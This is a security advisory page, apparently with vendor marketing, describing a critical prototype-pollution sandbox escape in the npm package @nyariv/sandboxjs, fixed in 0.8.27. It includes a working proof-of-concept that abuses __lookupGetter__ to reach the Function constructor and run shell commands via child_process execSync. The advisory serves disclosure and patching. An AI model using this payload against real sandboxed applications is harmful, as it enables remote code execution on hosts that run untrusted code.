GHSA-9p4w-fq8m-2hp7
CRITICALSandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@nyariv/sandboxjsnpmDescription
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();
Impact
Prototype Pollution -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.27 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nyariv/sandboxjs to 0.8.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9p4w-fq8m-2hp7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9p4w-fq8m-2hp7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9p4w-fq8m-2hp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9p4w-fq8m-2hp7 in your dependencies?
O3 detects GHSA-9p4w-fq8m-2hp7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.